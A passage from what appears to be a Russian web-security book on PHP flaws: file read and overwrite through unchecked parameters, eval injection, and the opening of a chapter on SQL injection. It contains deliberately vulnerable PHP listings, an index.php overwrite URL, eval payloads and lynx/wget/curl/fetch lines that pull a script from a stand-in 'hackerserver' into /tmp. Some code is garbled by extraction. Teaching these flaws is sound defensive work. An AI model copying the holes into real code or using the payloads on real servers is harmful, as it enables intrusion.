ВУЗ: Не указан
Категория: Не указан
Дисциплина: Не указана
Добавлен: 28.04.2024
Просмотров: 80
Скачиваний: 0
ВНИМАНИЕ! Если данный файл нарушает Ваши авторские права, то обязательно сообщите нам.
СОДЕРЖАНИЕ
if (isset($_GET['command']))
{
if ($arr=file($_GET['command']))
{
for ($i=0; $i
{
printf("
%s", $arr[$i]);
}
}
}
?>
Параметр, через который передается имя файла, никак не проверяется на допустимые символы, а значит, хакер сможет просмотреть любой файл, на чтение которого у него хватит прав доступа. Просматривая конфигурационные файлы, хакер может найти важные данные, а возможно, и пароли доступа к web-серверу (см. главу 3). Ошибка очень похожа на проблему include (см. разд. 3.1.2), разница только в том, что в данном случае вы можете только просмотреть файлы, но код в них не будет выполняться, как при подключении.
Некоторые программисты предпочитают использовать вместо include простое чтение файлов. Согласен и поддерживаю это решение. Если файл не содержит PHP- кода, а только HTML, то его лучше прочитать и отобразить на web-странице. Таким образом, даже если вы забудете где-то проверить параметр, хакер сможет только просматривать файлы, но не сможет внедрить свой PHP-код в сценарий, что намного опаснее. Код выполняться не будет, но просмотреть важную информацию будет все еще возможно, например увидеть /etc/passwd.
Если полученное имя без проверок используется при записи файла, то тут уже совсем иное. Допустим, что нам необходим сценарий, что-то вроде гостевой книги или книги отзывов. В зависимости от типа вопроса пользователя мы должны будем поместить введенный вопрос в тот или иной файл. Имя файла и сохраняемые данные будем передавать методом get, хотя и другой метод передачи защищенным назвать нельзя. Упрощенный вариант решения данной задачи можно увидеть в листинге 4.4.
Листинг 4.4. Сохранение введенных пользователем данных
Inj ection test
form action="file.php?command=questions/user.txt" method="get">
Question:
if (isset($_GET['command']))
{
if ($f=fopen($_GET['command'] , "w+")) print("File: ($f)");
else
die("Error");
$s = fwrite($f, $_GET['param']); fclose($f);
}
?>
Смысл сценария прост. В свойстве формы action указывается URL: file.php?command=questions/user.txt. Помимо сценария в URL указан еще и параметр command, в котором прописано имя файла для записи данных. Несмотря на то, что параметр прописан, изменить его очень просто. Через параметр param передается текст, который нужно записать в файл. Если файл главной web-страницы имеет имя index.php и доступен на запись, то можно выполнить следующий URL: http://servername/file.php?command=mdex.php¶m=
Hacked
Поиск уязвимости и защита точно такая же, как и защита подключаемых файлов, о которой мы говорили в главе 3. Нужно просто передавать через все параметры мусор или пути к файлам, которые заведомо могут быть открыты на чтение или запись. Тут ничего нового я вам сказать не могу, просто необходимо как можно сильнее ограничить пользователя и выполнить следующие условия:
-
пользователь не должен иметь возможности влиять на имя файла, лучше всего, если оно не будет передаваться от клиента, а будет жестко прописано в сценарии; -
если имя файла не может быть задано в сценарии, то из получаемого параметра должны быть удалены все опасные символы. Чтобы было проще, лучше всего в качестве имени передавать только числовой номер файла: например, имя файла может иметь вид testN.txt, где N — это число, которое и передается в качестве параметра; -
данные, которые записываются в файл, также должны фильтроваться, особенно если они потом будут отображаться на web-странице или передаваться системным функциям; -
не забываем, что попытки добавить в начало или конец параметра данные для формирования полного пути не гарантируют безопасности.
Любые попытки проверить наличие файла в системе перед его открытием бессмысленны. Если хакер передает имя /etc/passwd и этот файл будет существовать в системе, то проверка на наличие файла пройдет успешно, и сценарий откроет его и отобразит.
На этом, я думаю, рассмотрение данной проблемы можно завершить. Повторяться нет смысла, а нового добавить нечего. Кое-что мы повторим, когда будем рассматривать примеры уязвимостей работы с файлами на других языках программирования.
-
Угроза безопасности
Получив доступ к выполнению команд, хакер может захотеть сделать свою жизнь удобнее и прекраснее. Работать с ОС через уязвимость не всегда удобно, поэтому лучше написать какой-нибудь сценарий и закачать его на взламываемый web- сервер. А как закачать? Если перед вами web-сервер с установленной ОС из семейства UNIX, то можно воспользоваться одной из следующих команд: lynx, wget, curl или fetch.
Давайте рассмотрим загрузку файла на примере. Допустим, что хакер написал сценарий и загрузил его на web-сервер. Полный путь к файлу будет следующим: http://hackerserver/hack.php. Загружать его будем во временный каталог, куда разрешен доступ, а точнее, в файл /tmp/hack.php. Выполните одну из следующих команд:
lynx -source "http://hackerserver/hack.php"> > /tmp/hack.php wget -O /tmp/hack.php http://hackerserver/hack.php curl —output /tmp/hack.php http://hackerserver/hack.php fetch -o /tmp/hack.php http://hackerserver/hack.php
Таким образом хакеры загружают не только сценарии, используемые для собственного удобства, но и определенные программы, которые необходимы для взлома. Например, если хакер хочет поднять свои права до администратора, то он может загрузить эксплоит, который будет использовать найденную уязвимость для получения необходимых прав. Конечно, если у вас установлены все обновления, то этот трюк не удастся. Тогда хакер может загрузить свои программы для выполнения необходимых действий: например, для рассылки спама, сканирования сетей, или использовать ваш web-сервер для взлома других.
Если вы где-то используете команды для загрузки данных, то будьте осторожны при передаче им параметров, на которые может повлиять пользователь. Из этих четырех сценариев в файлах web-приложений чаще всего используют curl.
-
Функция eval
Функция eval получает в качестве параметра строку и выполняет его код как отдельный сценарий. Например, следующая команда выполнит функцию print для отображения на web-странице указанного текста:
eval (print ("<Н1>сообщениеН1>'') ) ;
Да, данный код не может показать всю мощь функции, поэтому посмотрим на содержимое листинга 4.5.
Листинг 4.5. Использование функции eval
Eval test
Command:
if (isset($_GET['command']))
{
$command = $_GET['command'];
print("Executed command: $command
"); eval($command);
}
?>
Этот сценарий отображает на web-странице форму для ввода. После нажатия кнопки Find содержимое поля ввода передается. Попробуйте запустить этот сценарий и передать следующую строку:
print(system("ls -al"));
В итоге функция eval выполнит этот код, который отображает результат выполнения функции system, а этой функции мы передаем команду ls -al, которая выводит содержимое текущего каталога.
Никогда не используйте функцию eval без особой надобности, хотя мне сложно придумать случай, когда эта функция действительно понадобится. Она удобна только тогда, когда нужно выполнить код, находящийся в переменной. Если переменная прописана в сценарии, то проще написать этот код без eval. Ну, а если данные передаются от пользователя, то это огромная дыра в безопасности, которую очень сложно закрыть.
Если честно, то я не видел такого случая, когда нельзя было бы обойтись без функции eval. Я рекомендую забыть про нее и никогда не использовать.
ГЛАВА 5
SQL-инъекция (PHP + MySQL)
SQL-инъекция (SQL Injection) — самая распространенная атака и при этом очень опасная. В рейтинге самых опасных уязвимостей я бы поставил ее на первое место. Да, выполнение системных команд может нанести серверу больше вреда, но обращение к системе используется в коде не так часто, а без баз данных в наше время очень тяжело.
SQL Injection основана на том, что получаемые от пользователя параметры передаются в SQL-запрос без проверки на опасные символы. Что такое опасные символы? Это символы, которые позволяют корректировать запрос так, чтобы взломщик смог получить доступ к возможностям сверх разрешенных. Это внедрение (инъекция) собственного SQL-запроса в тело запроса, выполняемого сценарием на стороне web-сервера.
Данная атака может быть удачно произведена на сценарии, написанные на различных языках (PHP, ASP, Perl и т. д.), и в этом мы убедимся на многочисленных примерах, приведенных в данной главе. Атака намного больше зависит от того, как написан код доступа к базе данных. Дело в том, что хакер корректирует SQL-запрос, выполняемый СУБД, каждая из которых имеет свои нюансы и поддерживает функции, которые могут не поддерживаться другими.
СУБД — это умное название для систем управления базами данных, но в народе чаще просто говорят "базы данных".
Ошибки, которые позволяют проводить SQL-инъекцию, очень распространены и весьма опасны. Но для их удачной реализации нужны хорошие знания в области написания SQL-запросов для конкретной СУБД. Основные операторы, такие как select, update и delete, практически одинаковые, с небольшими отличиями, и если вы знаете эти команды, то, скорее всего, сможете написать запросы под любой сервер базы данных.
В этой главе мы поговорим об атаке типа "SQL-инъекция" и посмотрим, как хакеры ее могут реализовать и как программисты защищаются. А многочисленные примеры того, как находить ошибки, помогут вам оценить всю опасность ситуации и лучше понять, как найти эффективное решение в том или ином случае.